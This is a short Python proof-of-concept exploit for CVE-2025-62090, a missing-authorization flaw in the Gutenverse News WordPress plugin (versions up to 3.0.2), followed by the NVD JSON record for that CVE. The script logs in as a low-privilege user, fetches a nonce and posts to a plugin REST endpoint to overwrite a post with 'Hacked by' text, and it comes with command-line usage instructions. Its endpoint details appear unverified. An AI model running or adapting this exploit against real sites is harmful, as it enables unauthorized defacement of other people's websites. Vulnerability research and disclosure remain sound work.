CVE-2025-62090

import requests import sys # CVE-2025-62090 PoC - Gutenverse News Missing Authorization # Target: WordPress site with Gutenverse News plugin <= 3.0.2 def exploit_cve_2025_62090(target_url, username, password): """ Exploit Missing Authorization vulnerability in Gutenverse News plugin This PoC demonstrates how a low-privilege user can modify posts without proper authorization """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) # Step 2: Get nonce for REST API nonce_url = f"{target_url}/wp-admin/admin-ajax.php?action=gutenverse_news_get_nonce" nonce_resp = session.get(nonce_url) # Step 3: Exploit - Modify post without proper authorization check # Target endpoint: /wp-json/gutenverse-news/v1/posts/{post_id} exploit_url = f"{target_url}/wp-json/gutenverse-news/v1/posts/1" exploit_data = { 'title': 'Hacked by CVE-2025-62090', 'content': 'This post was modified via Missing Authorization vulnerability', 'status': 'publish' } headers = { 'Content-Type': 'application/json', 'X-WP-Nonce': nonce_resp.text if nonce_resp.status_code == 200 else '' } # Send exploit request exploit_resp = session.post(exploit_url, json=exploit_data, headers=headers) if exploit_resp.status_code in [200, 201]: print(f"[+] Exploitation successful! Post modified.") print(f"[+] Response: {exploit_resp.text}") return True else: print(f"[-] Exploitation failed. Status: {exploit_resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) exploit_cve_2025_62090(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2025-62090", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:00.643", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Jegstudio Gutenverse News – Advanced News Magazine Blog Gutenberg Blocks Addons gutenverse-news allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Gutenverse News – Advanced News Magazine Blog Gutenberg Blocks Addons: from n/a through <= 3.0.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gutenverse-news/vulnerability/wordpress-gutenverse-news-advanced-news-magazine-blog-gutenberg-blocks-addons-plugin-3-0-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}